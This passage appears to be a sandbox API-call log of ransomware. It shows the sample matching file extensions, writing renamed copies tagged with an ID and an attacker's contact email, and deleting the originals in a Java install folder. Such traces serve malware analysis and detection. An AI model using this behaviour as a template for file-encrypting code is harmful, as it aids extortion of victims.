Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0144.995] lstrlenW (lpString=".jpg") returned 4 [0144.995] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0144.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0144.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0144.995] lstrlenW (lpString=".doc") returned 4 [0144.995] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0144.995] lstrlenW (lpString=".docx") returned 5 [0144.995] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0144.995] lstrlenW (lpString=".pdf") returned 4 [0144.995] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0144.995] lstrlenW (lpString=".xls") returned 4 [0144.995] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0144.996] lstrlenW (lpString=".xlsx") returned 5 [0144.996] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0144.996] lstrlenW (lpString=".ppt") returned 4 [0144.996] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0144.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0144.996] lstrlenW (lpString=".zip") returned 4 [0144.996] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0144.996] lstrlenW (lpString=".rar") returned 4 [0144.996] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0144.996] lstrlenW (lpString=".bz2") returned 4 [0144.996] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0144.996] lstrlenW (lpString=".7z") returned 3 [0144.996] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0144.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0144.996] lstrlenW (lpString=".dbf") returned 4 [0144.996] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0144.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0144.996] lstrlenW (lpString=".1cd") returned 4 [0144.996] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0144.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0144.997] lstrlenW (lpString=".jpg") returned 4 [0144.997] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0144.997] lstrcmpiW (lpString1=".gif", lpString2=".com") returned 1 [0144.997] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25 [0144.997] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0145.054] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=153) returned 1 [0145.054] CloseHandle (hObject=0x10d8) returned 1 [0145.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0145.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.104] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0145.104] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.104] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.104] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0145.140] GetLastError () returned 0x0 [0145.140] ReadFile (in: hFile=0x108c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x99, lpOverlapped=0x0) returned 1 [0145.141] WriteFile (in: hFile=0x10b4, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xa0, lpOverlapped=0x0) returned 1 [0145.143] ReadFile (in: hFile=0x108c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.143] WriteFile (in: hFile=0x10b4, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x106, lpOverlapped=0x0) returned 1 [0145.143] SetEndOfFile (hFile=0x10b4) returned 1 [0145.143] CloseHandle (hObject=0x10b4) returned 1 [0145.144] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.144] SetEndOfFile (hFile=0x108c) returned 1 [0145.145] CloseHandle (hObject=0x108c) returned 1 [0145.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.145] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1 [0145.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0145.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0145.146] lstrlenW (lpString=".doc") returned 4 [0145.146] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.146] lstrlenW (lpString=".docx") returned 5 [0145.146] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0145.146] lstrlenW (lpString=".pdf") returned 4 [0145.146] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.146] lstrlenW (lpString=".xls") returned 4 [0145.146] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.146] lstrlenW (lpString=".xlsx") returned 5 [0145.146] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0145.146] lstrlenW (lpString=".ppt") returned 4 [0145.146] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0145.146] lstrlenW (lpString=".zip") returned 4 [0145.146] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.146] lstrlenW (lpString=".rar") returned 4 [0145.146] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.146] lstrlenW (lpString=".bz2") returned 4 [0145.146] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.146] lstrlenW (lpString=".7z") returned 3 [0145.146] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0145.146] lstrlenW (lpString=".dbf") returned 4 [0145.146] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0145.146] lstrlenW (lpString=".1cd") returned 4 [0145.146] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0145.147] lstrlenW (lpString=".jpg") returned 4 [0145.147] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0145.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0145.147] lstrlenW (lpString=".doc") returned 4 [0145.147] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.147] lstrlenW (lpString=".docx") returned 5 [0145.147] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0145.147] lstrlenW (lpString=".pdf") returned 4 [0145.147] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.147] lstrlenW (lpString=".xls") returned 4 [0145.147] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.147] lstrlenW (lpString=".xlsx") returned 5 [0145.147] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0145.147] lstrlenW (lpString=".ppt") returned 4 [0145.147] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0145.147] lstrlenW (lpString=".zip") returned 4 [0145.147] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.147] lstrlenW (lpString=".rar") returned 4 [0145.147] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.147] lstrlenW (lpString=".bz2") returned 4 [0145.147] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.147] lstrlenW (lpString=".7z") returned 3 [0145.147] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0145.148] lstrlenW (lpString=".dbf") returned 4 [0145.148] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0145.148] lstrlenW (lpString=".1cd") returned 4 [0145.148] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0145.148] lstrlenW (lpString=".jpg") returned 4 [0145.148] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.148] lstrcmpiW (lpString1=".dat", lpString2=".com") returned 1 [0145.148] lstrlenW (lpString="tzdb.dat") returned 8 [0145.148] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0145.149] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=105500) returned 1 [0145.149] CloseHandle (hObject=0x108c) returned 1 [0145.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20 [0145.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.149] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0145.149] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.150] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.150] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0145.150] GetLastError () returned 0x0 [0145.150] ReadFile (in: hFile=0x108c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x19c1c, lpOverlapped=0x0) returned 1 [0145.193] WriteFile (in: hFile=0x10b4, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x19c20, lpOverlapped=0x0) returned 1 [0145.295] ReadFile (in: hFile=0x108c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.295] WriteFile (in: hFile=0x10b4, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xe4, lpOverlapped=0x0) returned 1 [0145.295] SetEndOfFile (hFile=0x10b4) returned 1 [0145.295] CloseHandle (hObject=0x10b4) returned 1 [0145.297] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.297] SetEndOfFile (hFile=0x108c) returned 1 [0145.299] CloseHandle (hObject=0x108c) returned 1 [0145.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.299] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1 [0145.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0145.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0145.314] lstrlenW (lpString=".doc") returned 4 [0145.314] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0145.314] lstrlenW (lpString=".docx") returned 5 [0145.314] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0145.314] lstrlenW (lpString=".pdf") returned 4 [0145.314] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0145.314] lstrlenW (lpString=".xls") returned 4 [0145.314] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0145.314] lstrlenW (lpString=".xlsx") returned 5 [0145.314] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0145.314] lstrlenW (lpString=".ppt") returned 4 [0145.315] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0145.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0145.315] lstrlenW (lpString=".zip") returned 4 [0145.315] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0145.315] lstrlenW (lpString=".rar") returned 4 [0145.315] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0145.315] lstrlenW (lpString=".bz2") returned 4 [0145.315] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0145.315] lstrlenW (lpString=".7z") returned 3 [0145.315] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0145.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0145.315] lstrlenW (lpString=".dbf") returned 4 [0145.315] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0145.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0145.315] lstrlenW (lpString=".1cd") returned 4 [0145.315] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0145.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0145.315] lstrlenW (lpString=".jpg") returned 4 [0145.315] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0145.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0145.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0145.315] lstrlenW (lpString=".doc") returned 4 [0145.315] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0145.315] lstrlenW (lpString=".docx") returned 5 [0145.315] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0145.315] lstrlenW (lpString=".pdf") returned 4 [0145.315] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0145.315] lstrlenW (lpString=".xls") returned 4 [0145.315] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0145.315] lstrlenW (lpString=".xlsx") returned 5 [0145.315] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0145.315] lstrlenW (lpString=".ppt") returned 4 [0145.315] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0145.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0145.315] lstrlenW (lpString=".zip") returned 4 [0145.315] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0145.316] lstrlenW (lpString=".rar") returned 4 [0145.316] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0145.316] lstrlenW (lpString=".bz2") returned 4 [0145.316] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0145.316] lstrlenW (lpString=".7z") returned 3 [0145.316] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0145.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0145.316] lstrlenW (lpString=".dbf") returned 4 [0145.316] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0145.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0145.316] lstrlenW (lpString=".1cd") returned 4 [0145.316] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0145.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0145.316] lstrlenW (lpString=".jpg") returned 4 [0145.316] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0145.316] lstrcmpiW (lpString1=".txt", lpString2=".com") returned 1 [0145.316] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0145.316] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0145.318] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=63933) returned 1 [0145.318] CloseHandle (hObject=0x10b4) returned 1 [0145.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0145.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.319] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0145.319] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.319] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.319] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0145.319] GetLastError () returned 0x0 [0145.319] ReadFile (in: hFile=0x10b4, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xf9bd, lpOverlapped=0x0) returned 1 [0145.399] WriteFile (in: hFile=0x1038, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xf9c0, lpOverlapped=0x0) returned 1 [0145.401] ReadFile (in: hFile=0x10b4, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.401] WriteFile (in: hFile=0x1038, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x118, lpOverlapped=0x0) returned 1 [0145.401] SetEndOfFile (hFile=0x1038) returned 1 [0145.401] CloseHandle (hObject=0x1038) returned 1 [0145.403] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.403] SetEndOfFile (hFile=0x10b4) returned 1 [0145.404] CloseHandle (hObject=0x10b4) returned 1 [0145.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.405] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1 [0145.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0145.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0145.405] lstrlenW (lpString=".doc") returned 4 [0145.405] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0145.405] lstrlenW (lpString=".docx") returned 5 [0145.405] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0145.405] lstrlenW (lpString=".pdf") returned 4 [0145.405] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0145.405] lstrlenW (lpString=".xls") returned 4 [0145.405] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0145.405] lstrlenW (lpString=".xlsx") returned 5 [0145.405] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0145.405] lstrlenW (lpString=".ppt") returned 4 [0145.406] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0145.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0145.406] lstrlenW (lpString=".zip") returned 4 [0145.406] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0145.406] lstrlenW (lpString=".rar") returned 4 [0145.406] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0145.406] lstrlenW (lpString=".bz2") returned 4 [0145.406] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0145.406] lstrlenW (lpString=".7z") returned 3 [0145.406] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0145.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0145.406] lstrlenW (lpString=".dbf") returned 4 [0145.406] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0145.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0145.406] lstrlenW (lpString=".1cd") returned 4 [0145.406] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0145.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0145.406] lstrlenW (lpString=".jpg") returned 4 [0145.406] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0145.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") 